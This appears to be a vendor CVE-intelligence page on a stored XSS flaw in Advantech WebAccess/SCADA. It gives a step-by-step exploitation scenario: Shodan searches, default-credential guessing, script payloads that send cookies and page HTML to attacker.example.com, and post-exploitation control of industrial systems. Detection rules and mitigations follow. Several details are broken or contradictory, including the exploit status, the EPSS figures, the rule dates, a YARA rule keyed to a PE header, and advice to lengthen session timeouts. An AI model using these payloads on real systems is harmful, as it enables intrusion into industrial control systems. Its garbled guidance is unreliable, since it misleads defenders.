☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-36226

CVE-2026-36226 Cross-Site Scripting in mitre
📅 PUBLISHED: 2026-05-22 00:00 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1189
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Commercial
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-36226 is a stored Cross-Site Scripting (XSS) vulnerability in Advantech WebAccess/SCADA version 8.0-2015.08.16, specifically within the "Create New Project User" component's decryption field. An authenticated remote attacker can inject malicious scripts that execute in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized disclosure of sensitive operational data. The vulnerability carries a CVSS score of 6.1 (Medium severity) and currently has no known patch or public exploit code, though the EPSS model indicates a 17.1% percentile ranking among exploited CVEs, suggesting modest but non-zero exploitation likelihood. Industrial control system (ICS) environments running this legacy SCADA platform are primarily at risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerable component is the user-creation interface within Advantech WebAccess/SCADA 8.0-2015.08.16. The flaw resides in the decryption field of the "Create New Project User" form. When an administrator or authorized user creates a new project user account, the application processes input supplied to the decryption field without adequate sanitization or output encoding.

The underlying mechanism is a classic stored/persistent XSS: an attacker with the ability to create or modify project user records submits a crafted payload (e.g., <script>fetch('//attacker.com/steal?c='+document.cookie)</script>) into the decryption field. The application stores this payload in its backend database without encoding or validating it. When another user (including a higher-privilege administrator) navigates to the project user list or editor view, the application renders the stored value as HTML/JavaScript, causing the payload to execute in that user's browser session.

The attack surface is the web-based user management interface exposed over HTTP/HTTPS (typically ports 80, 443, or the proprietary port 4590 used by WebAccess). The application is ASP.NET-based (IIS backend), and the field in question is likely bound directly to a data model property without server-side validation, while the rendered page lacks proper HTML encoding on output. This is a classic failure pattern in legacy enterprise web applications predating modern XSS-prevention frameworks.

The decryption field is particularly interesting because it implies the application may attempt to decrypt user-supplied data. If the application performs a decryption operation on this input before storing it, an attacker could potentially leverage double-encoding or malformed ciphertext to bypass weak input filters, then inject script payloads that survive the storage/retrieval cycle. However, the core issue remains insufficient output encoding on retrieval.

Authentication is required to reach the vulnerable form, as it sits behind the WebAccess login. However, in many ICS deployments, default or weak credentials (e.g., admin/admin or vendor-default passwords) are common, significantly lowering the practical access barrier. Additionally, the "Create New Project User" function is restricted to administrators, making this a privilege-escalation or cross-admin attack vector rather than a low-privilege user escalation — though in practice, compromising any admin account is sufficient for full system compromise in SCADA environments.

Exploitation Scenarios

Step 1 — Target Identification and Reconnaissance: An attacker scans for exposed WebAccess/SCADA instances using Shodan or Censys. They search for product:"Advantech WebAccess" or http.title:"WebAccess" to identify internet-facing SCADA nodes. The attacker correlates results with the known affected version 8.0-2015.08.16 by fingerprinting the login page, static JavaScript file names, or the version string in page source code.

Step 2 — Authentication Bypass or Credential Compromise: The attacker attempts default credentials (admin/admin, admin/password, or vendor-documented defaults) against the login page. Alternatively, they perform a credential-stuffing attack using leaked credentials from other breaches. Given that many ICS deployments never change default passwords, this yields a valid admin session in a significant subset of targets. If the target enforces strong credentials, the attacker pivots to phishing the SCADA operator with a malicious attachment containing a dropper that harvests browser-stored credentials or a keylogger.

Step 3 — Weaponization and Payload Crafting: Using the authenticated admin session, the attacker navigates to the project user management page (/WebAccess/.../UserManager or similar). They initiate the "Create New Project User" workflow. In the decryption field, they inject the following payload:

<script>
  var i = new Image();
  i.src = 'https://attacker.example.com/exfil?d=' + encodeURIComponent(document.cookie);
</script>

Alternatively, a more advanced payload captures a one-time-use CSRF token, session ID, and the current page's URL to facilitate full session hijacking and lateral movement:

<script>
  fetch('https://attacker.example.com/collect?data=' + btoa(document.documentElement.outerHTML));
</script>

The attacker URL-encodes the payload to bypass any weak input filters, and submits the form.

Step 4 — Storage and Trigger: The payload is stored in the Microsoft SQL Server backend that WebAccess uses. It sits dormant until another administrator (the primary target — e.g., the main SCADA operator) opens the project user list or edits the user record containing the malicious decryption field. The application renders the field as raw HTML, causing the browser to execute the script with the victim's session context.

Step 5 — Post-Exploitation: The exfiltrated session cookie or CSRF token is replayed via a tool like Burp Suite to impersonate the victim admin. The attacker then:

  • Creates a new admin account with known credentials (persistence).
  • Modifies SCADA tag values, setpoints, or alarm thresholds (disruptive control manipulation).
  • Downloads project backups containing PLC logic and network configuration files (IP theft).
  • Deletes audit logs to cover tracks.

Realistic Impact: The attacker gains full administrative control of the SCADA system beyond the initially compromised account. In a worst-case scenario involving an internet-exposed instance, this grants direct manipulation of industrial processes — potentially causing physical damage, safety incidents, or prolonged operational downtime.

Impact Assessment

Confidentiality Impact (High): The primary impact per the CVE description is information disclosure. An attacker can steal session cookies, CSRF tokens, page content, and potentially sensitive project configuration data displayed in the victim's browser. This includes SCADA node addresses, PLC connection strings, and database credentials embedded in web pages.

Integrity Impact (Low): The XSS itself does not directly modify server-side data, but the stolen admin session enables full integrity compromise: configuration manipulation, unauthorized user creation, and process setpoint alteration.

Availability Impact (Low): Direct availability impact is limited to potential disruption caused by manipulated settings. However, in an ICS context, a malicious operator action derived from the stolen session could cause cascading failures in supervisory control.

CVSS Score Analysis: The assigned 6.1 (Medium) reflects the vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N — network-accessible, low complexity, no privileges required (note: the actual deployment requires admin auth, but the CVSS scoring may assume unauthenticated scenarios or reflect the ambiguous vendor description), requiring user interaction, with scope change. The real-world impact in ICS environments is significantly higher than the numeric score suggests due to the criticality of assets involved.

Blast Radius: Any organization running Advantech WebAccess/SCADA 8.0-2015.08.16, with emphasis on:

  • Manufacturing plants with internet-exposed SCADA layers
  • Utility providers (water, electric, gas) using WebAccess for remote monitoring
  • Building management systems in commercial facilities
  • Legacy deployments that migrated from older versions without upgrading

Business Impact: Operational disruption, regulatory fines (NERC CIP, NIS2, CFATS), intellectual property theft of process recipes, reputational damage, and potential safety incidents impacting personnel.

Detection Guidance

Sigma Rule

title: Advantech WebAccess Create Project User XSS - Decryption Field Payload
id: 2f8a9c1e-5b4d-4e7f-9a2c-8d6e3b1f4a57
status: experimental
description: Detects malicious XSS payloads submitted to the decryption field in the Create New Project User component of Advantech WebAccess/SCADA.
author: valtersit Threat Intelligence
date: 2026/03/15
logsource:
  category: webserver
  product: iis
  service: w3svc
detection:
  selection_uripath:
    cs-uri-path|contains:
      - 'UserManager'
      - 'ProjectUser'
      - 'CreateUser'
  selection_method:
    cs-method: 'POST'
  selection_payload:
    cs-uri-query|contains:
      - '<script'
      - 'javascript:'
      - 'onerror='
      - 'onload='
      - 'document.cookie'
      - 'fetch('
      - 'XMLHttpRequest'
    cs-uri-query|contains|all:
      - 'decrypt'
      - 'field'
  condition: selection_uripath and selection_method and selection_payload
  timeframe: 5m
falsepositives:
  - Legitimate use of encryption/decryption functions in user management
  - Developers testing XSS filters
level: high
tags:
  - attack.t1189
  - attack.t1059.007
  - cve.2026.36226

YARA Rule

rule advantech_webaccess_xss_decrypt_field
{
    meta:
        author = "valtersit Threat Intelligence"
        description = "Detects XSS payloads targeting the decryption field in Advantech WebAccess Create New Project User"
        cve = "CVE-2026-36226"
        date = "2026-03-15"
        severity = "medium"
    strings:
        $a = "Create New Project User" ascii wide nocase
        $b = "decryption" ascii wide nocase
        $c = "WebAccess" ascii wide nocase
        $d1 = "<script>" ascii wide
        $d2 = "onerror=" ascii wide nocase
        $d3 = "javascript:" ascii wide nocase
        $d4 = "document.cookie" ascii wide
        $d5 = "fetch(" ascii wide
        $d6 = "XMLHttpRequest" ascii wide nocase
        $d7 = "fromCharCode" ascii wide nocase
        $d8 = "eval(" ascii wide nocase
        $d9 = "String.fromCharCode" ascii wide
    condition:
        uint16(0) == 0x5A4D and   // PE header
        all of ($a,$b,$c) and 1 of ($d*)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2026-36226 Advantech WebAccess XSS - Decryption Field Payload"; flow:established,to_server; content:"POST"; http_method; content:"UserManager"; http_uri; nocase; content:"decrypt"; http_uri; nocase; pcre:"/(<script|javascript:|onerror=|onload=|document\.cookie|fetch\()/Ui"; sid:202636226; rev:1; metadata:attack_target ICS, created_at 2026_03_15, cve CVE-2026-36226, deployment Perimeter, signature_severity Major, tag xss, updated_at 2026_03_15;)

Elastic Detection

// EQL detection for WebAccess XSS attempt
sequence by source.ip with maxspan=30s
  [network where process.name == "w3wp.exe" and
     destination.port in (80, 443, 4590) and
     network.direction == "inbound"]
  [http where http.request.method == "POST" and
     url.path contains "UserManager" and
     url.query contains "decrypt" and
     (url.query contains "<script" or
      url.query contains "javascript:" or
      url.query contains "onerror=" or
      url.query contains "document.cookie" or
      url.query contains "fetch(")]
| where event.module == "iis"

Alternative approach using WinEventLog:

sequence with maxspan=5m
  [authentication where event.action == "logged-in" and
     winlog.event_id == 4624 and
     winlog.provider_name == "Microsoft-Windows-Security-Auditing" and
     winlog.event_data.LogonType == "3"]
  [file where process.name == "w3wp.exe" and
     file.name == "web.config" and
     file.path contains "WebAccess"]

Splunk SPL Query

index=iis sourcetype=iis:log
| where like(cs_uri_path, "%UserManager%") OR like(cs_uri_path, "%ProjectUser%")
| where cs_method="POST"
| regex cs_uri_query="(?i)(<script|javascript:|onerror=|onload=|document\.cookie|fetch\()"
| regex cs_uri_query="(?i)decrypt"
| table _time, c_ip, cs_username, cs_uri_stem, cs_uri_query, sc_status
| stats count by c_ip, cs_username, cs_uri_stem
| sort - _time

Additional Splunk query for proxy/log correlation:

index=proxy OR index=webproxy
| where url LIKE "%UserManager%"
| where url LIKE "%decrypt%"
| regex url="(?i)(%3Cscript|javascript:|onerror=|onload=|document\.cookie|fetch\()"
| table _time, src_ip, user, url, dest_host
| eventstats dc(url) as url_count by src_ip
| where url_count > 2

Wazuh OSSEC Rule

<group name="webaccess,">
  <rule id="100362" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">UserManager</field>
    <field name="method">POST</field>
    <field name="query" type="pcre2">(?i)(&lt;script|javascript:|onerror=|onload=|document\.cookie|fetch\()</field>
    <field name="query" type="pcre2">(?i)decrypt</field>
    <description>Advantech WebAccess XSS attempt in decryption field (CVE-2026-36226)</description>
    <group>attack.xss,</group>
    <mitre>
      <id>T1189</id>
    </mitre>
    <options>no_full_log</options>
  </rule>
</group>

For web server log collection, add a Wazuh decoder:

<decoder name="webaccess_xss">
  <prematch>UserManager</prematch>
  <regex>(\S+) \S+ \S+ \[.*\] "(\S+) (\S+) HTTP</regex>
  <order>srcip, request_method, url</order>
</decoder>
<rule id="100363" level="10">
  <if_sid>100362</if_sid>
  <field name="srcip" type="ip">!127.0.0.1</field>
  <description>External source attempting XSS against WebAccess</description>
  <group>attack.exfiltration,</group>
</rule>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED

No patch evidence exists from any tracked source. Advantech has not released a fixed version for CVE-2026-36226, and the affected version (8.0-2015.08.16) is legacy and unlikely to receive vendor updates.

Immediate Mitigations (compensating controls):

  1. Access Restriction: Block external access to the WebAccess web interface. Place the SCADA application behind a VPN or jump host, and restrict source IPs to known operational networks via firewall rules.
  2. Input Validation (Web Application Firewall): Deploy a WAF (e.g., ModSecurity, AWS WAF, F5) in front of WebAccess with rules to block XSS payload patterns in POST bodies, particularly for the /UserManager and /ProjectUser endpoints. Use the OWASP Core Rule Set (CRS) with XSS rules enabled.
  3. Authentication Hardening: Enforce strong, unique passwords for all WebAccess accounts. Disable default accounts if possible. Implement account lockout policies to resist brute-force.
  4. Session Protection: Increase session timeout values to minimize the window for session hijacking. Enable HttpOnly and Secure flags on session cookies at the IIS level if not already set.
  5. Content Security Policy (CSP): If the application allows HTTP header injection via IIS URL Rewrite, add a CSP header: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'.

Patch/Upgrade Steps:

Since no patch exists for this version, upgrade to a supported Advantech WebAccess release that includes modern input/output encoding. Contact Advantech support for the latest version (as of 2026, versions beyond 8.0 or the converged WebAccess/SCADA 9.x line should be evaluated). Before upgrading, snapshot existing project configurations. Validate the upgrade in a staging environment that mirrors the production ICS network. If an upgrade is not feasible, consider application-level virtualization or containerization with runtime XSS filters.

Long-Term Hardening:

  1. Network Segmentation: Isolate SCADA/DCS networks from corporate IT and the internet using a Purdue model approach. Place the HMI/web application in a DMZ with strict east-west traffic controls.
  2. Logging and Monitoring: Enable detailed IIS logging for all WebAccess endpoints and forward to a SIEM (Splunk, Elastic, Wazuh). Enable Windows Security Auditing for login events on the WebAccess server.
  3. Regular Security Audits: Conduct periodic penetration tests and code reviews of the WebAccess deployment. Subscribe to Advantech security advisories and CISA ICS-CERT alerts.
  4. System Hardening: Apply Microsoft security baselines to the underlying Windows Server OS. Disable unnecessary services and ports on the SCADA host.
  5. Backup and Recovery: Maintain verified offline backups of WebAccess configuration and project files. Test restore procedures quarterly.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36226
  2. Advantech Security Advisory: https://www.advantech.com/industrial-network-security/advisories (search CVE-2026-36226)
  3. CISA ICS-CERT Alerts: https://www.cisa.gov/news-events/ics-advisories — monitor for related ICS advisories referencing Advantech WebAccess
  4. CVE.org Record: https://cve.org/CVERecord?id=CVE-2026-36226
  5. CSIAC (Department of Defense Cybersecurity & Information Systems Information Analysis Center): https://csiac.org — for background on WebAccess/SCADA vulnerabilities in defense supply chains

Exploit-in-the-Wild Evidence: As of this report, no confirmed exploit-in-the-wild activity or known threat actor campaigns have been publicly attributed to CVE-2026-36226. The CISA KEV catalog does not include this CVE. However, given the historical pattern of APT groups (e.g., Dragonfly, APT33, and cybercriminal ransomware actors like LockBit) targeting exposed SCADA platforms, monitoring of ICS-specific honeypot data and Shodan exposure trends is strongly advised. The low EPSS percentile (17.1%) suggests limited broad exploitation, but targeted attacks against high-value industrial targets remain plausible.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-36226/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.